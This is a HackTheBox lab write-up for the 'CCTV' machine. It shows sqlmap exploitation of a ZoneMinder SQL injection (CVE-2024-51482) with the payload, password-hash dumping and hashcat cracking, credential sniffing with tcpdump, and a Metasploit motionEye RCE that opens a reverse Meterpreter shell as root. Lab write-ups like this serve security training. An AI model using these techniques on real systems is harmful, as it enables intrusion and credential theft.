CCTV

📅 Last Updated: Mar 11, 2026 04:21 | 📄 Size: 16.9 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Easy | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/CCTV]
└─$ nmap -sC -sV -Pn 10.129.187.185 -oN ./nmap.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-11 13:44 +0000
Nmap scan report for 10.129.187.185
Host is up (0.63s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|_  256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.99 seconds

Let's add cctv.htbto our /etc/hosts

HTTP - TCP 80

We can find a login link from the Staff Login

I would use the default credit admin:adminto login it.

# ZoneMinderseems like a cms service, and we can also find something vulnerable There is a newest CVE is CVE-2024-51482 https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-qm8h-3xvf-m7j3

Boolean-based SQL Injection in ZoneMinder v1.37.* <= 1.37.64

PoC
Although it is not possible to execute the command directly through directory, after reading the documents, here is the url:

http://hostname_or_ip/zm/index.php?view=request&request=event&action=removetag&tid=1
and the function tid is vulnerable to SQL Injection.
I used sqlmap to automate the exploitation process through this command:

sqlmap -u 'http://hostname_or_ip/zm/index.php?view=request&request=event&action=removetag&tid=1'
Here is the PoC video:
https://github.com/user-attachments/assets/3cc50e51-68cf-4540-8225-4288f73e0c08

We can use this poc to verify the vulnerability, it worked here

Now let's try to use sqlmapto automatic it by using the request file from burp

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/CCTV]
└─$ cat req.txt  
GET /zm/index.php?view=request&request=event&action=removetag&tid=1 HTTP/1.1
Host: cctv.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: close
Cookie: zmSkin=classic; zmCSS=base; ZMSESSID=2amhbg2tcikhb5gm92kltis4ri
Upgrade-Insecure-Requests: 1
Priority: u=0, i

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/CCTV]
└─$ sqlmap -r req.txt --batch -p "tid" --dbs
[14:11:47] [INFO] checking if the injection point on GET parameter 'tid' is a false positive
GET parameter 'tid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 110 HTTP(s) requests:
---
Parameter: tid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 6094 FROM (SELECT(SLEEP(5)))zZuN)
---
[14:12:11] [INFO] the back-end DBMS is MySQL
[14:12:11] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12

Because of time-based would cost so long time, so I would use that to get the only data we need

sqlmap -r req.txt -p "tid" --batch --technique=T --predict-output -D zm -T Users -C Username,Password --dump

superadmin:$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

mark:$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

Then we can get the password hash of superadminand mark, we can use hashcatcrack the password of mark

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/CCTV]
└─$ hashcat mark.hash -m 3200 /usr/share/wordlists/rockyou.txt
$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.:opensesame

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZ...XKfFG.

Now we can use this credit to ssh connect to the machine

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/CCTV]
└─$ ssh mark@cctv.htb
mark@cctv:~$ whoami
mark
mark@cctv:~$ id
uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)
mark@cctv:~$ sudo -l
[sudo] password for mark: 
Sorry, user mark may not run sudo on cctv.

There is another user account sa_mark

mark@cctv:/home$ ls -al
total 16
drwxr-xr-x  4 root    root    4096 Mar  2 09:49 .
drwxr-xr-x 23 root    root    4096 Mar  2 09:49 ..
drwxr-x---  5 mark    mark    4096 Mar  2 09:49 mark
drwxr-x---  4 sa_mark sa_mark 4096 Mar  2 09:49 sa_mark

Switch to sa_mark

Continue to enumerate the file system of mark

mark@cctv:~$ ls -al
total 36
drwxr-x--- 5 mark mark 4096 Mar  2 09:49 .
drwxr-xr-x 4 root root 4096 Mar  2 09:49 ..
lrwxrwxrwx 1 root root    9 Feb 13 10:01 .bash_history -> /dev/null
-rw-r--r-- 1 mark mark  220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 mark mark 3771 Mar 31  2024 .bashrc
drwx------ 2 mark mark 4096 Mar  2 09:49 .cache
drwx------ 3 mark mark 4096 Mar  2 09:49 .gnupg
-rw-r--r-- 1 mark mark  807 Mar 31  2024 .profile
drwx------ 2 mark mark 4096 Mar  2 09:49 .ssh
-rw-rw-r-- 1 mark mark  165 Sep 14 22:15 .wget-hsts
mark@cctv:~$ cat .wget-hsts
# HSTS 1.0 Known Hosts database for GNU Wget.
# Edit at your own risk.
# <hostname>    <port>  <incl. subdomains>      <created>       <max-age>
github.com      0       1       1757888154      31536000

I would upload the LinPEASto enumerate the valid hints

╔══════════╣ Can I sniff with tcpdump?
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sniffing                                                                                                     
You can sniff with tcpdump!

Normally, tcpdump requires sudo privileges to sniff, but here we see that we don't need sudo privileges, which means this will be our next target. Inspecting the network interfaces also reveals many unusual ones.


mark@cctv:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:95:23:56 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.187.185/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 581sec preferred_lft 581sec
    inet6 dead:beef::250:56ff:fe95:2356/64 scope global dynamic mngtmpaddr 
       valid_lft 86395sec preferred_lft 14395sec
    inet6 fe80::250:56ff:fe95:2356/64 scope link 
       valid_lft forever preferred_lft forever
3: br-1b6b4b93c636: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether be:35:90:d2:d4:c8 brd ff:ff:ff:ff:ff:ff
    inet 172.25.0.1/16 brd 172.25.255.255 scope global br-1b6b4b93c636
       valid_lft forever preferred_lft forever
    inet6 fe80::bc35:90ff:fed2:d4c8/64 scope link 
       valid_lft forever preferred_lft forever
4: br-3e74116c4022: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 46:99:b0:45:27:f2 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-3e74116c4022
       valid_lft forever preferred_lft forever
    inet6 fe80::4499:b0ff:fe45:27f2/64 scope link 
       valid_lft forever preferred_lft forever
5: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 0a:d3:15:01:51:35 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
6: veth2651313@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-3e74116c4022 state UP group default 
    link/ether 92:68:5f:6f:87:b9 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::9068:5fff:fe6f:87b9/64 scope link 
       valid_lft forever preferred_lft forever
7: veth3d3f77c@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-1b6b4b93c636 state UP group default 
    link/ether 72:d8:15:5a:89:f3 brd ff:ff:ff:ff:ff:ff link-netnsid 1
    inet6 fe80::70d8:15ff:fe5a:89f3/64 scope link 
       valid_lft forever preferred_lft forever
8: veth6c99df3@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-3e74116c4022 state UP group default 
    link/ether b6:46:7e:37:be:cf brd ff:ff:ff:ff:ff:ff link-netnsid 2
    inet6 fe80::b446:7eff:fe37:becf/64 scope link 
       valid_lft forever preferred_lft forever
9: veth1117dd4@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-1b6b4b93c636 state UP group default 
    link/ether b6:db:b3:ea:b1:a1 brd ff:ff:ff:ff:ff:ff link-netnsid 3
    inet6 fe80::b4db:b3ff:feea:b1a1/64 scope link 
       valid_lft forever preferred_lft forever

The docker bridge would be interesting here, this indicates that the closed-circuit television monitoring system uses containerized services for internal communication.

veth *
br *

Now let's try to capture all the traffic here

tcpdump -i any -nn

We can find port 5000 on 172.25.0.10 is experiencing frequent access, seemingly hosting a Python Flask service:

mark@cctv:~$ tcpdump -i any -nn -A tcp port 5000
tcpdump: data link type LINUX_SLL2
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
03:58:25.602406 veth3d3f77c P   IP 172.25.0.11.40686 > 172.25.0.10.5000: Flags [S], seq 1526105343, win 64240, options [mss 1460,sackOK,TS val 2502491754 ecr 0,nop,wscale 7], length 0
E..<..@.@..........
....Z...........Xv.........
.(.j........
03:58:25.602411 veth1117dd4 Out IP 172.25.0.11.40686 > 172.25.0.10.5000: Flags [S], seq 1526105343, win 64240, options [mss 1460,sackOK,TS val 2502491754 ecr 0,nop,wscale 7], length 0
E..<..@.@..........
....Z...........Xv.........
.(.j........
03:58:25.602439 veth1117dd4 P   IP 172.25.0.10.5000 > 172.25.0.11.40686: Flags [S.], seq 1585505552, ack 1526105344, win 65160, options [mss 1460,sackOK,TS val 2075130325 ecr 2502491754,nop,wscale 7], length 0
E..<..@.@..t...
........^...Z.......Xv.........
{....(.j....
03:58:25.602440 veth3d3f77c Out IP 172.25.0.10.5000 > 172.25.0.11.40686: Flags [S.], seq 1585505552, ack 1526105344, win 65160, options [mss 1460,sackOK,TS val 2075130325 ecr 2502491754,nop,wscale 7], length 0
E..<..@.@..t...
........^...Z.......Xv.........
{....(.j....
03:58:25.602489 veth3d3f77c P   IP 172.25.0.11.40686 > 172.25.0.10.5000: Flags [.], ack 1, win 502, options [nop,nop,TS val 2502491755 ecr 2075130325], length 0
E..4..@.@..........
....Z...^.......Xn.....
.(.k{...
03:58:25.602490 veth1117dd4 Out IP 172.25.0.11.40686 > 172.25.0.10.5000: Flags [.], ack 1, win 502, options [nop,nop,TS val 2502491755 ecr 2075130325], length 0
E..4..@.@..........
....Z...^.......Xn.....
.(.k{...
03:58:25.602857 veth3d3f77c P   IP 172.25.0.11.40686 > 172.25.0.10.5000: Flags [P.], seq 1:52, ack 1, win 502, options [nop,nop,TS val 2502491755 ecr 2075130325], length 51
E..g..@.@..........
....Z...^.......X......
.(.k{...USERNAME=sa_mark;PASSWORD=X1l9fx1ZjS7RZb;CMD=status
03:58:25.602859 veth1117dd4 Out IP 172.25.0.11.40686 > 172.25.0.10.5000: Flags [P.], seq 1:52, ack 1, win 502, options [nop,nop,TS val 2502491755 ecr 2075130325], length 51
E..g..@.@..........
....Z...^.......X......
.(.k{...USERNAME=sa_mark;PASSWORD=X1l9fx1ZjS7RZb;CMD=status
03:58:25.602869 veth1117dd4 P   IP 172.25.0.10.5000 > 172.25.0.11.40686: Flags [.], ack 52, win 509, options [nop,nop,TS val 2075130326 ecr 2502491755], length 0
E..4p.@.@.q....
........^...Z..3....Xn.....
{....(.k

Now we can get the credit of sa_mark:X1l9fx1ZjS7RZband we can switch to its account

mark@cctv:~$ su sa_mark
Password: 
$ id
uid=1001(sa_mark) gid=1001(sa_mark) groups=1001(sa_mark)
$ whoami
sa_mark

Privilege Escalation

From the home directory of sa_mark, we can find another pdf file here

$ ls -al
total 52
drwxr-x--- 4 sa_mark sa_mark  4096 Mar  2 09:49  .
drwxr-xr-x 4 root    root     4096 Mar  2 09:49  ..
lrwxrwxrwx 1 root    root        9 Feb 16 10:47  .bash_history -> /dev/null
drwx------ 2 sa_mark sa_mark  4096 Mar  2 09:49  .cache
drwxrwxr-x 3 sa_mark sa_mark  4096 Mar  2 09:49  .local
-rw-r--r-- 1 root    root    29359 Nov  7 23:11 'SecureVision Staff Announcement.pdf'
-rw-r----- 1 root    sa_mark    33 Mar 11 02:39  user.txt

Let's download it and check it We have known the credit would be not changed, and we can continue to check the new service from local port 127.0.0.1:8765

$ netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8554          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9081          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8765          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8888          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:7999          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:1935          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      - 

Now we can use the credit admin:X1l9fx1ZjS7RZbto login the dashboard We can also find the version is 0.43.1b4and we can find some vulnerable thing from exploitdb https://www.exploit-db.com/exploits/52481

Even we can use the module of metasploit

msf > search motionEye

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank       Check  Description
   -  ----                                                  ---------------  ----       -----  -----------
   0  exploit/linux/http/motioneye_auth_rce_cve_2025_60787  2025-09-09       excellent  Yes    Remote Code Execution Vulnerability in MotionEye Frontend (CVE-2025-60787)


Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/motioneye_auth_rce_cve_2025_60787

Then setup the config and get the shell

msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > set RPORT 8765
RPORT => 8765
msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > set PASSWORD X1l9fx1ZjS7RZb
PASSWORD => X1l9fx1ZjS7RZb
msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > set LHOST 10.10.14.6
LHOST => 10.10.14.6
msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > exploit
[*] Started reverse TCP handler on 10.10.14.6:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected version 0.43.1b4, which is vulnerable
[*] Adding malicious camera...
[+] Camera successfully added
[*] Setting up exploit...
[+] Exploit setup complete
[*] Triggering exploit...
[+] Exploit triggered, waiting for session...
[*] Sending stage (3090404 bytes) to 10.129.187.185
[*] Meterpreter session 1 opened (10.10.14.6:4444 -> 10.129.187.185:54682) at 2026-03-11 15:01:54 +0000
[*] Removing camera
[+] Camera removed successfully

meterpreter > shell
Process 27498 created.
Channel 1 created.
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

Description

Overall, it's a very simple machine. All vulnerabilities can be identified by checking the version number, and even privilege escalation can be automated using Metaspoilt.